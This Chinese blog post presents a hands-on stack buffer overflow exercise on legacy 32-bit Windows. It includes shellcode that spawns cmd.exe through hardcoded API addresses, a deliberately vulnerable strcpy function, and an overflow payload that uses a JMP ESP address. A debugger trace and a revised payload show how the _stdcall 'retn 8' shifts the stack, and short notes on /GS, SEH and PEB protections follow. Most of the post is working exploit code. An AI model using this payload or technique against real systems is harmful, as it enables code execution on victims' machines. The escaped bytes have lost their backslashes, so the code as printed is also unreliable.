• _stdcall 与 _cdecall学习


    #include "stdafx.h"
    #include <stdio.h>
    #include <string.h>
    #include <windows.h>
    
    char shellcode[]=
    //打开CMD的shellcode
    "x55"                   //push ebp
    "x8BxEC"               //mov ebp, esp
    "x33xC0"               //xor eax, eax
    "x50"                   //push eax
    "x50"                   //push eax
    "x50"                   //push eax
    "xC6x45xF5x6D"       //mov byte ptr[ebp-0Bh], 6Dh
    "xC6x45xF6x73"       //mov byte ptr[ebp-0Ah], 73h
    "xC6x45xF7x76"       //mov byte ptr[ebp-09h], 76h
    "xC6x45xF8x63"       //mov byte ptr[ebp-08h], 63h
    "xC6x45xF9x72"       //mov byte ptr[ebp-07h], 72h
    "xC6x45xFAx74"       //mov byte ptr[ebp-06h], 74h
    "xC6x45xFBx2E"       //mov byte ptr[ebp-05h], 2Eh
    "xC6x45xFCx64"       //mov byte ptr[ebp-04h], 64h
    "xC6x45xFDx6C"       //mov byte ptr[ebp-03h], 6Ch
    "xC6x45xFEx6C"       //mov byte ptr[ebp-02h], 6Ch
    "x8Dx45xF5"           //lea eax, [ebp-0Bh]
    "x50"                   //push eax
    "xBAx7Bx1Dx80x7C"   //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
    
    "xFFxD2"               //call edx
    "x83xC4x0C"           //add esp, 0Ch
    "x8BxEC"               //mov ebp, esp
    "x33xC0"               //xor eax, eax
    "x50"                   //push eax
    "x50"                   //push eax
    "x50"                   //push eax
    "xC6x45xFCx63"       //mov byte ptr[ebp-04h], 63h
    "xC6x45xFDx6D"       //mov byte ptr[ebp-03h], 6Dh
    "xC6x45xFEx64"       //mov byte ptr[ebp-02h], 64h
    "x8Dx45xFC"           //lea eax, [ebp-04h]
    "x50"                   //push eax			cmd
    "xB8xC7x93xBFx77"   //mov edx, 0x77BF93C7h
    "xFFxD0"               //call edx
    "x83xC4x10"           //add esp, 10h
    "x5D"                   //pop ebp      
    "x6Ax00"               //push 0
    "xB8xc7x93xbfx77"   //mov eax, 0x7c81cb12
    "xFFxD0";             //call eax
    
    int fun(char *szIn,int nText)
    {
    	char szBuff[8];
    	printf("%d
    ",nText);
    	strcpy(szBuff,szIn);
    	return 0;
    }
    int main(void)
    {
    	char sz_In[] = "1234567890ab"
    		/*"x14xffx12x00"*/
    		"x12x45xfax7f"   //通用类型
    		"x55"                   //push ebp
    		"x8BxEC"               //mov ebp, esp
    		"x33xC0"               //xor eax, eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"xC6x45xF5x6D"       //mov byte ptr[ebp-0Bh], 6Dh
    		"xC6x45xF6x73"       //mov byte ptr[ebp-0Ah], 73h
    		"xC6x45xF7x76"       //mov byte ptr[ebp-09h], 76h
    		"xC6x45xF8x63"       //mov byte ptr[ebp-08h], 63h
    		"xC6x45xF9x72"       //mov byte ptr[ebp-07h], 72h
    		"xC6x45xFAx74"       //mov byte ptr[ebp-06h], 74h
    		"xC6x45xFBx2E"       //mov byte ptr[ebp-05h], 2Eh
    		"xC6x45xFCx64"       //mov byte ptr[ebp-04h], 64h
    		"xC6x45xFDx6C"       //mov byte ptr[ebp-03h], 6Ch
    		"xC6x45xFEx6C"       //mov byte ptr[ebp-02h], 6Ch
    		"x8Dx45xF5"           //lea eax, [ebp-0Bh]
    		"x50"                   //push eax
    		"xBAx7Bx1Dx80x7C"   //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
    		
    		"xFFxD2"               //call edx
    		"x83xC4x0C"           //add esp, 0Ch
    		"x8BxEC"               //mov ebp, esp
    		"x33xC0"               //xor eax, eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"xC6x45xFCx63"       //mov byte ptr[ebp-04h], 63h
    		"xC6x45xFDx6D"       //mov byte ptr[ebp-03h], 6Dh
    		"xC6x45xFEx64"       //mov byte ptr[ebp-02h], 64h
    		"x8Dx45xFC"           //lea eax, [ebp-04h]
    		"x50"                   //push eax			cmd
    		"xB8xC7x93xBFx77"   //mov edx, 0x77BF93C7h
    		"xFFxD0"               //call edx
    		"x83xC4x10"           //add esp, 10h
    		"x5D"                   //pop ebp      
    		"x6Ax00"               //push 0
    		"xB8xc7x93xbfx77"   //mov eax, 0x7c81cb12
    		"xFFxD0";             //call eax
    
    	fun(sz_In,888);
    	return 0;
    }

    因为我们要找的只是返回地址,所以去看一执行完strcpy函数时返回地址是

    fun函数为_cdecl     ebp+4  就是返回地址   


    也可以执行到ret处看 ESP对应的值 就是返回地址

    如果是WINPAI  也就是 _stdcall调用呢

    0040104C  |.  51            PUSH ECX                                 ; /src
    0040104D  |.  8D55 F8       LEA EDX,DWORD PTR SS:[EBP-8]             ; |
    00401050  |.  52            PUSH EDX                                 ; |dest
    00401051  |.  E8 8A000000   CALL Shellcod.strcpy                     ; strcpy
    00401056  |.  83C4 08       ADD ESP,8
    00401059  |.  33C0          XOR EAX,EAX
    0040105B  |.  5F            POP EDI
    0040105C  |.  5E            POP ESI
    0040105D  |.  5B            POP EBX
    0040105E  |.  83C4 48       ADD ESP,48
    00401061  |.  3BEC          CMP EBP,ESP
    00401063  |.  E8 E8010000   CALL Shellcod.__chkesp
    00401068  |.  8BE5          MOV ESP,EBP
    0040106A  |.  5D            POP EBP
    0040106B  .  C2 0800       RETN 8
    最后是retn 8
    ESP ==>  > 66656463
    ESP+4    > 55696867
    ESP+8    > C033EC8B
    ESP+C    > C6505050
    
    retn 8 带来的效果就是  将 esp弹出  并弹出堆栈8字节:

    最后变成这样

    ESP ==>  > C6505050
    ESP+4    > C66DF545
    ESP+8    > C673F645
    
    所以 跳过了0xc个字节

    我们采用通用 JMP ESP

    0x7FFA4512

    这个时候的ESP就在原来的8字节后了

    修改shellcode为:

    	char sz_In[] = "1234567890ab"
    		/*"x14xffx12x00"*/
    		"x12x45xfax7f"   //通用类型
    		"x90x90x90x90x90x90x90x90"	//这里就是因为retn 8带来的效果体现  _cdecl 与 _stdCall的区别
    		"x55"                   //push ebp
    		"x8BxEC"               //mov ebp, esp
    		"x33xC0"               //xor eax, eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"xC6x45xF5x6D"       //mov byte ptr[ebp-0Bh], 6Dh
    		"xC6x45xF6x73"       //mov byte ptr[ebp-0Ah], 73h
    		"xC6x45xF7x76"       //mov byte ptr[ebp-09h], 76h
    		"xC6x45xF8x63"       //mov byte ptr[ebp-08h], 63h
    		"xC6x45xF9x72"       //mov byte ptr[ebp-07h], 72h
    		"xC6x45xFAx74"       //mov byte ptr[ebp-06h], 74h
    		"xC6x45xFBx2E"       //mov byte ptr[ebp-05h], 2Eh
    		"xC6x45xFCx64"       //mov byte ptr[ebp-04h], 64h
    		"xC6x45xFDx6C"       //mov byte ptr[ebp-03h], 6Ch
    		"xC6x45xFEx6C"       //mov byte ptr[ebp-02h], 6Ch
    		"x8Dx45xF5"           //lea eax, [ebp-0Bh]
    		"x50"                   //push eax
    		"xBAx7Bx1Dx80x7C"   //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
    		
    		"xFFxD2"               //call edx
    		"x83xC4x0C"           //add esp, 0Ch
    		"x8BxEC"               //mov ebp, esp
    		"x33xC0"               //xor eax, eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"x50"                   //push eax
    		"xC6x45xFCx63"       //mov byte ptr[ebp-04h], 63h
    		"xC6x45xFDx6D"       //mov byte ptr[ebp-03h], 6Dh
    		"xC6x45xFEx64"       //mov byte ptr[ebp-02h], 64h
    		"x8Dx45xFC"           //lea eax, [ebp-04h]
    		"x50"                   //push eax			cmd
    		"xB8xC7x93xBFx77"   //mov edx, 0x77BF93C7h
    		"xFFxD0"               //call edx
    		"x83xC4x10"           //add esp, 10h
    		"x5D"                   //pop ebp      
    		"x6Ax00"               //push 0
    		"xB8xc7x93xbfx77"   //mov eax, 0x7c81cb12
                    "xFFxD0";             //call eax
    另外PS:

    2003   /GS  对COOKIE进行检查 溢出将COOKIE覆盖 就不运行 返回地址    对堆栈溢出有保护功能  只存在2003 和VS.NET上

    2003   SEH 检查ESH的处理函数  是否与已注册过函数的地址列表进行对照  没有相匹配的就不进行处理函数的调用
    XP2     对PEB指针有随机性   但就在几个值之间随机移动







  • 相关阅读:
    金步国作品列表
    GCC编译优化指南【作者:金步国】
    g++优化选项
    C++中实现对map按照value值进行排序
    C++ STL中Map的相关排序操作:按Key排序和按Value排序
    How-To: add EPEL repository to Centos 6.x is Easy!
    如何为linux释放内存和缓存
    用Python对体积较大的CSV文件进行比较的经验
    The mmap module
    Python逐块读取大文件行数的代码
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982540.html
Copyright © 2020-2023  润新知